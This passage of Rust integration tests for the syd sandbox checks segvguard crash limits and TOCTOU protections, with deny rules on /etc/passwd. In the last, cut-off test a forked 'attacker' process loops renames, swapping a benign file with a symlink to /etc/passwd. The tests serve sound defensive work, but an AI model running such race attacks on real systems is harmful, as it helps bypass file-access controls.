fn test_syd_segvguard_core_safe_default() -> TestResult {
skip_if_strace!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $sig;
my $code;
my $status;
# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
$coredumps += 1;
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
warn "caused $coredumps coredumps, proceeding...\n";
# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == EACCES) {{
warn "execution was prevented by segvguard\n";
}} else {{
die "process was terminated with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == 0) {{
warn "execution was allowed by segvguard\n";
}} else {{
die "process exited with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
warn "segvguard disabled"
}} else {{
die "failed to disable segvguard"
}}
# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process dumped core.\n";
}} else {{
warn "process did not dump core.\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_segvguard_core_safe_kill() -> TestResult {
skip_if_strace!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("default/segvguard:kill")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $sig;
my $code;
my $status;
# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
$coredumps += 1;
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
warn "caused $coredumps coredumps, proceeding...\n";
# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
$sig = WTERMSIG($status);
if ($sig == SIGKILL) {{
warn "execution was prevented by segvguard\n";
}} else {{
die "process was terminated with unexpected signal $sig\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == 0) {{
warn "execution was allowed by segvguard\n";
}} else {{
die "process exited with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
warn "segvguard disabled"
}} else {{
die "failed to disable segvguard"
}}
# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process dumped core.\n";
}} else {{
warn "process did not dump core.\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_segvguard_core_unsafe_default() -> TestResult {
skip_if_strace!();
skip_unless_coredumps!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("rlimit/core:off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use Errno qw(EACCES);
use POSIX qw(:errno_h :signal_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $sig;
my $code;
my $status;
# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
# Now segvguard must block.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == EACCES) {{
warn "execution was prevented by segvguard\n";
}} else {{
die "process was terminated with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == 0) {{
warn "execution was allowed by segvguard\n";
}} else {{
die "process exited with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
warn "segvguard disabled"
}} else {{
die "failed to disable segvguard"
}}
# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process dumped core.\n";
}} else {{
warn "process did not dump core.\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_segvguard_core_unsafe_kill() -> TestResult {
skip_if_strace!();
skip_unless_coredumps!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("default/segvguard:kill")
.m("rlimit/core:off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $sig;
my $code;
my $status;
# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
# Now segvguard must block
$pid = fork();
if ($pid == 0) {{
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
$sig = WTERMSIG($status);
if ($sig == SIGKILL) {{
warn "execution was prevented by segvguard\n";
}} else {{
die "process was terminated with unexpected signal $sig\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('true') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
if ($code == 0) {{
warn "execution was allowed by segvguard\n";
}} else {{
die "process exited with unexpected code $code\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
warn "segvguard disabled"
}} else {{
die "failed to disable segvguard"
}}
# Now segvguard must allow
$pid = fork();
if ($pid == 0) {{
# Exit with the actual errno if exec fails.
exec('{syd_do}') or exit($! & 255);
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process dumped core.\n";
}} else {{
warn "process did not dump core.\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_segvguard_suspension_safe() -> TestResult {
skip_if_strace!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $code;
my $status;
# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
warn "segvguard suspension set to 10 seconds"
}} else {{
die "failed to set segvguard suspension"
}}
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
$coredumps += 1;
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
warn "caused $coredumps coredumps, proceeding...\n";
# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;
# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
warn "process dumped core as expected\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process terminated with signal " . WTERMSIG($status) . " without coredump\n";
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_segvguard_suspension_unsafe() -> TestResult {
skip_if_strace!();
skip_unless_coredumps!();
skip_unless_available!("perl");
env::set_var("SYD_TEST_PANIC_ABORT", "1");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.m("rlimit/core:off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.do__("segv")
.argv(["perl", "-e"])
.arg(format!(
r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);
# WCOREDUMP is not POSIX.
sub wcoredump {{
my $status = shift;
return ($status & 128) != 0;
}}
# Common variables.
my $pid;
my $code;
my $status;
# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
warn "segvguard suspension set to 10 seconds"
}} else {{
die "failed to set segvguard suspension"
}}
# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
$pid = fork();
if ($pid == 0) {{ # Child process
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process $i did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process $i dumped core.\n";
}} else {{
warn "process $i did not dump core.\n";
}}
}} else {{
die "process $i exited unexpectedly with status $status\n";
}}
}}
# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;
# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
$code = WEXITSTATUS($status);
die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
warn "process was terminated by signal " . WTERMSIG($status) . "\n";
if (wcoredump($status)) {{
warn "process dumped core.\n";
}} else {{
warn "process did not dump core.\n";
}}
}} else {{
die "process exited unexpectedly with status $status\n";
}}
1;
"#,
))
.status()
.expect("execute syd");
env::remove_var("SYD_TEST_PANIC_ABORT");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_path_unhide_by_passthru() -> TestResult {
skip_unless_available!(
"sh", "stat", "readlink", "ln", "mkdir", "touch", "rm", "cat", "chmod", "test"
);
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.arg("sh")
.arg("-c")
.arg(PATH_UNHIDE_TEST_SCRIPT)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_chain() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read:on")
.m("allow/read+/***")
.do_("symlink_chain", NONE)
.status()
.expect("execute syd");
assert_status_loop!(status);
Ok(())
}
fn test_syd_magiclink_sandbox() -> TestResult {
skip_unless_available!("bash", "cat", "dd", "grep", "head", "readlink", "stat", "tail");
let status = syd()
.m("allow/fs+all") // for nsfs access
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_magiclinks:1")
.arg("bash")
.arg("-c")
.arg(MAGIC_SYMLINKS_TEST_SCRIPT)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_magiclink_linux() -> TestResult {
skip_unless_available!("bash", "cat", "dd", "grep", "head", "readlink", "stat", "tail");
let status = Command::new("bash")
.arg("-c")
.arg(MAGIC_SYMLINKS_TEST_SCRIPT)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_magiclink_toctou() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/all+/etc/passwd")
.m("filter/all+/etc/passwd")
.do_("magiclink_toctou", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_toctou() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,symlink:on")
.m("allow/read,stat,write,create,symlink+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("deny/read,write,create,symlink+/etc/passwd")
.m("filter/read,stat,write+/etc/passwd")
.do_("symlink_toctou", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlinkat_toctou() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,symlink:on")
.m("allow/read,stat,write,create,symlink+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("deny/read,write,create,symlink+/etc/passwd")
.m("filter/read,stat,write+/etc/passwd")
.do_("symlinkat_toctou", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_exchange_toctou_mid() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/all+/etc/passwd")
.m("filter/all+/etc/passwd")
.do_("symlink_exchange_toctou_mid", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_exchange_toctou_root() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/all+/etc/passwd")
.m("filter/all+/etc/passwd")
.do_("symlink_exchange_toctou_root", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_symlink_exchange_toctou_last() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/all+/etc/passwd")
.m("filter/all+/etc/passwd")
.do_("symlink_exchange_toctou_last", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrmod_toctou_chdir_1() -> TestResult {
skip_if_strace!();
let status = syd()
.log("error")
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.m("filter/chdir+/var/empty/***")
.do_("ptrmod_toctou_chdir", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_ptrmod_toctou_chdir_2() -> TestResult {
skip_unless_trusted!();
let status = syd()
.log("error")
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.m("filter/chdir+/var/empty/***")
.do_("ptrmod_toctou_chdir", NONE)
.status()
.expect("execute syd");
const EXKILL: i32 = 128 + libc::SIGKILL;
assert_status_code_matches!(status, 1 | EXKILL);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_fail() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.do_("ptrmod_toctou_exec_fail", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
fixup!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_ptrmod_toctou_exec_binary_success_quick() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.do_("ptrmod_toctou_exec_binary_success_quick", NONE)
.status()
.expect("execute syd");
const EXKILL: i32 = 128 + libc::SIGKILL;
assert!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_binary_success_double_fork() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.do_("ptrmod_toctou_exec_binary_success_double_fork", NONE)
.status()
.expect("execute syd");
const EXKILL: i32 = 128 + libc::SIGKILL;
assert!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_binary_success_quick_no_mitigation() -> TestResult {
skip_unless_trusted!();
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.do_("ptrmod_toctou_exec_binary_success_quick", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
const EXKILL: i32 = 128 + libc::SIGKILL;
fixup!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_binary_success_double_fork_no_mitigation() -> TestResult {
skip_unless_trusted!();
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.do_("ptrmod_toctou_exec_binary_success_double_fork", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
const EXKILL: i32 = 128 + libc::SIGKILL;
fixup!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_script_success_quick() -> TestResult {
skip_if_strace!();
// Test requires /bin/false to be denylisted.
// false may point to various alternatives such
// as gfalse, coreutils, busybox etc.
let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.m(format!("deny/exec+{}", f.display()))
.do_("ptrmod_toctou_exec_script_success_quick", NONE)
.status()
.expect("execute syd");
const EXKILL: i32 = 128 + libc::SIGKILL;
assert!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_script_success_double_fork() -> TestResult {
skip_if_strace!();
// Test requires /bin/false to be denylisted.
// false may point to various alternatives such
// as gfalse, coreutils, busybox etc.
let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.m(format!("deny/exec+{}", f.display()))
.do_("ptrmod_toctou_exec_script_success_double_fork", NONE)
.status()
.expect("execute syd");
const EXKILL: i32 = 128 + libc::SIGKILL;
assert!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_script_success_quick_no_mitigation() -> TestResult {
skip_unless_trusted!();
// Test requires /bin/false to be denylisted.
// false may point to various alternatives such
// as gfalse, coreutils, busybox etc.
let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.m(format!("deny/exec+{}", f.display()))
.do_("ptrmod_toctou_exec_script_success_quick", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
const EXKILL: i32 = 128 + libc::SIGKILL;
fixup!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_exec_script_success_double_fork_no_mitigation() -> TestResult {
skip_unless_trusted!();
// Test requires /bin/false to be denylisted.
// false may point to various alternatives such
// as gfalse, coreutils, busybox etc.
let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("filter/exec+/**/toctou_exec")
.m(format!("deny/exec+{}", f.display()))
.do_("ptrmod_toctou_exec_script_success_double_fork", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
const EXKILL: i32 = 128 + libc::SIGKILL;
fixup!(
matches!(status.code().unwrap_or(127), 0 | EXKILL),
"status:{status:?}"
);
Ok(())
}
fn test_syd_ptrmod_toctou_open() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("filter/read,stat,write,create+/etc/passwd")
.do_("ptrmod_toctou_open", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrmod_toctou_creat() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("deny/stat+/etc/***")
.m("allow/stat+/etc/ld*")
.m("filter/write,create+/**/deny.syd-tmp*")
.do_("ptrmod_toctou_creat", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrmod_toctou_opath_default() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("allow/stat+/etc")
.m("deny/stat+/etc/**")
.m("allow/stat+/etc/ld*")
.m("filter/read,stat,write,create+/etc/passwd")
.do_("ptrmod_toctou_opath", NONE)
.status()
.expect("execute syd");
// By default we turn O_PATH to O_RDONLY so there's no TOCTOU.
assert_status_ok!(status);
Ok(())
}
fn test_syd_ptrmod_toctou_opath_unsafe() -> TestResult {
skip_if_strace!();
let status = syd()
.p("off")
.m("trace/allow_unsafe_open_path:1")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.m("allow/stat+/etc")
.m("deny/stat+/etc/**")
.m("allow/stat+/etc/ld*")
.m("filter/read,stat,write,create+/etc/passwd")
.do_("ptrmod_toctou_opath", NONE)
.status()
.expect("execute syd");
// FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
fixup!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_vfsmod_toctou_mmap() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("allow/exec+/**/lib-safe/*.so")
.m("deny/exec+/**/lib-bad/*.so")
.m("trace/allow_unsafe_exec_stack:1")
.m("trace/allow_unsafe_exec_memory:1")
.do_("vfsmod_toctou_mmap", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_vfsmod_toctou_fchdir() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.m("allow/chdir+/**/dir-safe/***")
.m("deny/chdir+/**/dir-bad/***")
.do_("vfsmod_toctou_fchdir", NONE)
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_vfsmod_toctou_cwd_rename() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/read+/etc/passwd")
.m("filter/read+/etc/passwd")
.do_("vfsmod_toctou_cwd_rename", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_exp_vfsmod_toctou_open_file_off() -> TestResult {
skip_if_strace!();
// We run the attacker thread unsandboxed,
// to increase the likelihood of the race.
File::create("./benign")?;
symlink("/etc/passwd", "./symlink")?;
eprintln!("Forking background attacker process...");
let attacker = match unsafe { fork() }? {
ForkResult::Parent { child, .. } => child,
ForkResult::Child => {
// Perform a VFS symlink modification attack.
let f = b"./benign\0";
let s = b"./symlink\0";
let t = b"./tmp\0";
loop {
unsafe {
// Rename between benign file and malicious symlink.
libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
}
}
}
};
// This test is to ensure the TOCTOU attack is sane and works.
let status = syd()
.p("off")
.do_("vfsmod_toctou_open_file", NONE)
.status()
